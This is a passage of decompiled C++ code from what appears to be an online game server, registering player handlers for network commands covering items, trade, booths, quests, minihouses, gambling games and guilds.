PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 51, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 53, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 72, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_BELONGED_CANCEL_USE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 60, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ITEM_DICE_GAME_START_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 64, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ITEM_ENCHANT_ADD_GEM_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 66, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ITEM_ENCHANT_REMOVE_GEM_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 68, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ITEM_ENCHANT_ADD_NEW_SOCKET_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 76, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_ACCOUNT_STORAGE_OPEN_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 77, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_ACCOUNT_STORAGE_CLOSE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 74, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_AUTO_ARRANGE_INVEN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 72, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_PARTY_MEMBERINFOREQ_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 20, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 20, 2, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_SP_BUY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 20, 7, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_USE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 20, 9, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_SP_USE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 19, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 19, 7, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_CANCEL_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 19, 3, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_ASKNO_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 19, 6, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSEYES_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 19, 10, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_TRADE_CANCEL_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 19, 13, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 19, 17, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 19, 21, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 19, 25, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_TRADE_BOARDLOCK_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 19, 31, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_TRADE_DECIDE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 18, 17, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_SKILL_EMPOWALLOC_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 18, 34, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_SKILL_PRODUCTFIELD_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 18, 36, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_SKILL_UNLEARN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 23, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_WT_LICENSE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 24, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CT_SET_CURRENT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 22, 26, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_KQ_ENTRYRESPONCE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 26, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 26, 4, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BOOTH_CLOSE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 26, 7, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_BOOTH_ENTRY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 26, 13, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_BOOTH_ITEMTRADE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 26, 10, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_BOOTH_REFRESH_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 26, 16, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_BOOTH_INTERIORSTART_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 17, 2, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_QUEST_SCRIPT_CMD_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 17, 7, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_QUEST_GIVE_UP_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 17, 11, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_QUEST_CLIENT_SCENARIO_DONE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 17, 15, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_QUEST_SELECT_START_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 17, 17, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 17, 20, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_QUEST_START_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 17, 22, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_QUEST_READ_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 27, 6, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREAENTRY_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 27, 8, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREALEAVE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_ACTIV_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 10, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_LOGINCOMPLETE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 3, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_BUILDING_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 24, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_EXIT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 34, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_CREATE_FURNITURE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 37, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_DELETE_FURNITURE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 31, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_REARRANGE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 29, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FUNITUREINFOCOMPLETE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 14, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_VISITREADY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 16, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_VISIT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 43, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_MODIFY_PASSWORD_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 46, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_MODIFY_TITLE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 50, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_MODIFY_MAXENTERNUM_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 18, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_KICKOUT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 61, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_CHAR_ACTION_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 64, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EFFECT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 67, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_MODIFY_ITEM_INFO_OPEN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 72, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_MODIFY_NOTIFY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 80, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_PORTAL_OPEN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 83, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_PORTAL_CLOSE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 86, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_PORTAL_EFFECT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 98, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 35, 101, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 43, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_GAME_JOIN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 43, 5, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_GAME_LEAVE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 43, 11, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_EXPECT_INCOME_MONEY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 43, 15, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_RECEIPT_INCOME_MONEY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 43, 19, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_GAME_MODE_CHANGE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 43, 22, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_RANK_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 43, 26, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_BETTING_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 43, 29, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_BETTING_CANCEL_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 43, 40, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_LARGE_AMOUNT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 47, 2, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_GAMBLEHOUSE_EXIT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 47, 15, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_COIN_BUY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 47, 19, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_COIN_SELL_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 47, 13, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_COIN_VIPCARD_UI_OPEN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 47, 23, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_TYPE_AND_WHERE_STAND_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 47, 100, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_GAME_JOIN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 47, 104, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_GAME_LEAVE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 47, 107, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_ALL_RANK_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 47, 111, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_CURR_RANK_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 47, 113, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_BETTING_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 47, 116, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_BETTING_CANCEL_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 47, 200, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_GAME_JOIN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 47, 202, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_GAME_LEAVE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 47, 204, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_START_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 47, 206, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 47, 208, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_WHEELSTOP_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 47, 217, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_JACKPOTRANKING_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 47, 219, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_WINRANKING_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 145, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GUILD_STORAGEOPEN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 156, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_RECALL_ENTER_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 160, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEMDB_CLOSE_GUILD_STORAGE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 109, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_OPEN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 111, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_CLOSE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 172, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 180, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 202, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 207, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_USESKILL_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 211, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_DICEGAME_THROW_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 215, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_OBSERVER_ENTER_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 219, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_OBSERVER_OUT_REQ); 